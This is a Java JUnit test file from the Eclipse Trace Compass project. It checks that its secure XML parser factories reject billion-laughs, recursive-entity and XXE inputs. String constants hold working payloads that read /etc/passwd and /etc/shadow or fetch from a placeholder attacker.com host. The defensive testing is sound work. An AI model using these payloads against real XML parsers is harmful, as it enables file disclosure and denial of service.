blob: 679ccdad372fa866308ec4623ab655b61fec91cc [file] [log] [blame]
/*******************************************************************************
* Copyright (c) 2018 Ericsson
*
* All rights reserved. This program and the accompanying materials
* are made available under the terms of the Eclipse Public License 2.0
* which accompanies this distribution, and is available at
* https://www.eclipse.org/legal/epl-2.0/
*
* SPDX-License-Identifier: EPL-2.0
*******************************************************************************/
package org.eclipse.tracecompass.common.core.tests.xml;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotNull;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.StringReader;
import java.io.StringWriter;
import java.nio.charset.StandardCharsets;
import javax.xml.XMLConstants;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.parsers.SAXParserFactory;
import javax.xml.stream.XMLStreamException;
import javax.xml.stream.XMLStreamReader;
import javax.xml.transform.OutputKeys;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerException;
import javax.xml.transform.dom.DOMSource;
import javax.xml.transform.stream.StreamResult;
import javax.xml.transform.stream.StreamSource;
import javax.xml.validation.Schema;
import javax.xml.validation.SchemaFactory;
import org.eclipse.tracecompass.common.core.xml.XmlUtils;
import org.junit.Ignore;
import org.junit.Test;
import org.w3c.dom.Document;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException;
import org.xml.sax.XMLReader;
/**
* Test XmlUtils
*
* @author Matthew Khouzam
*/
public class TestXmlUtils {
/**
* XML Denial of service attack. When an XML parser tries to resolve the
* external entities included within the following code, it will cause the
* application to start consuming all of the available memory until the
* process crashes. This is an example XML document with an embedded DTD
* schema including the attack
*
* Source: https://www.owasp.org/index.php/XML_Security_Cheat_Sheet
*/
private static final String BILLION_LAUGH_ATTACK = "<?xml version=\"1.0\"?>\n" +
"<!DOCTYPE lolz [\n" +
"<!ENTITY lol \"lol\">\n" +
"<!ENTITY lol2 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n" +
"<!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n" +
"<!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\n" +
"<!ENTITY lol5 \"&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;\">\n" +
"<!ENTITY lol6 \"&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;\">\n" +
"<!ENTITY lol7 \"&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;\">\n" +
"<!ENTITY lol8 \"&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;\">\n" +
"<!ENTITY lol9 \"&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;\">\n" +
"]>\n" +
"<lolz>&lol9;</lolz>";
/**
* When the definition of an element A is another element B, and that
* element B is defined as element A, that schema describes a circular
* reference between elements.
*
* source:
* https://www.owasp.org/index.php/XML_Security_Cheat_Sheet#Recursive_Entity_Reference
*/
private static final String RECURSIVE_ENTITY_REFERENCE = "<!DOCTYPE A [\n" +
" <!ELEMENT A ANY>\n" +
" <!ENTITY A \"<A>&B;</A>\"> \n" +
" <!ENTITY B \"&A;\">\n" +
"]>\n" +
"<A>&A;</A>";
/**
* Injection attack
*
* source: http://ws-attacks.org/XML_External_Entity_DOS
*/
private static final String XML_INJECTION_ATTACK = "<?xml version=\"1.0\"?>\n" +
"<!DOCTYPE order [\n" +
"<!ELEMENT foo ANY >\n" +
"<!ENTITY xxe SYSTEM \"file:///dev/random\" >\n" +
"]>\n" +
"<soap:Envelope xmlns:soap=\"http://www.w3.org/2001/12/soap-envelope\" soap:encodingStyle=\"http://www.w3.org/2001/12/soap-encoding\">\n" +
" <soap:Body xmlns:m=\"http://www.example.org/order\">\n" +
" <foo>&xxe;</foo>\n" +
" </soap:Body>\n" +
"</soap:Envelope>\n";
/**
* XXE Schema attack
*
* source:
* https://depthsecurity.com/blog/exploitation-xml-external-entity-xxe-injection
*/
private static final String SCHEMA_XXE_ATTACK = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n" +
"<!DOCTYPE foo [ <!ELEMENT foo ANY >\n" +
"<!ENTITY xxe SYSTEM \"file:///etc/passwd\" >]>\n" +
"<creds>\n" +
" <user>&xxe;</user>\n" +
" <pass>mypass</pass>\n" +
"</creds>";
/**
* Disclosing the password attack
*
* source:
* https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
*/
private static final String GET_PASSWORD_ATTACK = " <?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n" +
" <!DOCTYPE foo [" +
" <!ELEMENT foo ANY >" +
" <!ENTITY xxe SYSTEM \"file:///etc/passwd\" >]><foo>&xxe;</foo>" +
" <?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n" +
" <!DOCTYPE foo [ \n" +
" <!ELEMENT foo ANY >\n" +
" <!ENTITY xxe SYSTEM \"file:///etc/shadow\" >]><foo>&xxe;</foo>\n" +
"\n" +
" <?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n" +
" <!DOCTYPE foo [ \n" +
" <!ELEMENT foo ANY >\n" +
" <!ENTITY xxe SYSTEM \"file:///c:/boot.ini\" >]><foo>&xxe;</foo>\n" +
"\n" +
" <?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n" +
" <!DOCTYPE foo [ \n" +
" <!ELEMENT foo ANY >\n" +
" <!ENTITY xxe SYSTEM \"http://www.attacker.com/text.txt\" >]><foo>&xxe;</foo>";
/**
* Safe schema, https://www.w3schools.com/XML/schema_howto.asp
*/
private static String SAFE_SCHEMA = "<?xml version=\"1.0\"?>\n" +
"<xs:schema xmlns:xs=\"" + XMLConstants.W3C_XML_SCHEMA_NS_URI + "\" >" +
"<xs:element name=\"note\"> " +
" <xs:complexType> " +
" <xs:sequence> " +
" <xs:element name=\"to\" type=\"xs:string\"/> " +
" <xs:element name=\"from\" type=\"xs:string\"/> " +
" <xs:element name=\"heading\" type=\"xs:string\"/> " +
" <xs:element name=\"body\" type=\"xs:string\"/> " +
" </xs:sequence> " +
" </xs:complexType> " +
"</xs:element> " +
"</xs:schema>";
/**
* Safe document, https://www.w3schools.com/XML/schema_howto.asp
*/
private static String SAFE_DOCUMENT = "<?xml version=\"1.0\"?>" +
"<note>" +
" <to>Tove</to>" +
" <from>Jani</from>" +
" <heading>Reminder</heading>" +
" <body>Don't forget me this weekend!</body>" +
"</note> ";
private static void testExploit(String attackVector) throws SAXException, IOException, ParserConfigurationException, TransformerException {
Transformer newSafeTransformer = XmlUtils.newSecureTransformer();
assertNotNull(newSafeTransformer);
DocumentBuilderFactory dbf = XmlUtils.newSafeDocumentBuilderFactory();
Document document = dbf.newDocumentBuilder().parse(new InputSource(new StringReader(attackVector)));
newSafeTransformer.setOutputProperty(OutputKeys.METHOD, "xml");
newSafeTransformer.setOutputProperty(OutputKeys.INDENT, "yes");
newSafeTransformer.setOutputProperty(OutputKeys.ENCODING, "UTF-8");
StreamResult output = new StreamResult(new StringWriter());
newSafeTransformer.transform(new DOMSource(document), output);
}
/**
* Test against a Billion laughs attack
*
* @throws TransformerException
* Problem transforming xml, should not happen
* @throws ParserConfigurationException
* Problem configuring transformer, should not happen
* @throws IOException
* permission issue, should not happen
* @throws SAXException
* xml issue, should happen, this is parsing an attack
*/
@Test(expected = SAXException.class)
public void testBillionLaughs() throws TransformerException, SAXException, IOException, ParserConfigurationException {
testExploit(BILLION_LAUGH_ATTACK);
}
/**
* Test against a Recursive Entity Reference
*
* @throws TransformerException
* Problem transforming xml, should not happen
* @throws ParserConfigurationException
* Problem configuring transformer, should not happen
* @throws IOException
* permission issue, should not happen
* @throws SAXException
* xml issue, should happen, this is parsing an attack
*/
@Test(expected = SAXException.class)
public void testRecursiveEntityReference() throws TransformerException, SAXException, IOException, ParserConfigurationException {
testExploit(RECURSIVE_ENTITY_REFERENCE);
}
/**
* Test against a XML Injection Attacks
*
* @throws TransformerException
* Problem transforming xml, should not happen
* @throws ParserConfigurationException
* Problem configuring transformer, should not happen
* @throws IOException
* permission issue, should happen, this is parsing an attack
* @throws SAXException
* xml issue, should not happen
*/
@Ignore
@Test(expected = IOException.class)
public void testXmlInjection() throws SAXException, IOException, ParserConfigurationException, TransformerException {
testExploit(XML_INJECTION_ATTACK);
}
/**
* Test schema safety
*
* @throws SAXException
* failed to parse, should happen as this is an attack
*/
@Test(expected = SAXException.class)
public void testNewSafeSchemaFactory() throws SAXException {
SchemaFactory schemaFactory = XmlUtils.newSafeSchemaFactory();
assertNotNull(schemaFactory);
Schema schema = XmlUtils.newSafeSchemaFactory().newSchema(new StreamSource(new StringReader(SCHEMA_XXE_ATTACK)));
assertNotNull(schema);
}
/**
* Test a safe validation
*
* @throws SAXException
* the file failed. Should not happen
* @throws IOException
* the file could not be read, cannot happen.
*/
@Test
public void testSafeValidate() throws SAXException, IOException {
Schema newSafeSchema = XmlUtils.newSafeSchemaFactory().newSchema(new StreamSource(new StringReader(SAFE_SCHEMA)));
assertNotNull(newSafeSchema);
XmlUtils.safeValidate(newSafeSchema, new StreamSource(new StringReader(SAFE_DOCUMENT)));
}
/**
* Test an invalid validation
*
* @throws SAXException
* the file failed. Should happen
* @throws IOException
* the file could not be read, cannot happen.
*/
@Test(expected = SAXException.class)
public void testAttackValidate() throws SAXException, IOException {
Schema newSafeSchema = XmlUtils.newSafeSchemaFactory().newSchema(new StreamSource(new StringReader(SAFE_SCHEMA)));
assertNotNull(newSafeSchema);
XmlUtils.safeValidate(newSafeSchema, new StreamSource(new StringReader(GET_PASSWORD_ATTACK)));
}
/**
* Test the SAX parser factory
*
* @throws SAXException
* the file could not parse
* @throws ParserConfigurationException
* the parser was badly configured, should not happen
* @throws IOException
* permission issue, should not happen
*/
@Test
public void testNewSafeSaxParserFactory() throws SAXException, ParserConfigurationException, IOException {
SAXParserFactory parserFactory = XmlUtils.newSafeSaxParserFactory();
assertNotNull(parserFactory);
XMLReader xmlReader = parserFactory.newSAXParser().getXMLReader();
assertNotNull(xmlReader);
xmlReader.parse(new InputSource(new StringReader(SAFE_DOCUMENT)));
}
/**
* Test newSafeXmlStreamReader, simple test to make sure it still works.
*
* @throws XMLStreamException
* the stream cannot be read
*/
@Test
public void newSafeXmlStreamReader() throws XMLStreamException {
XMLStreamReader reader = XmlUtils.newSafeXmlStreamReader(new ByteArrayInputStream(SAFE_DOCUMENT.getBytes(StandardCharsets.UTF_8)));
assertNotNull(reader);
assertEquals(1, reader.next());
}
}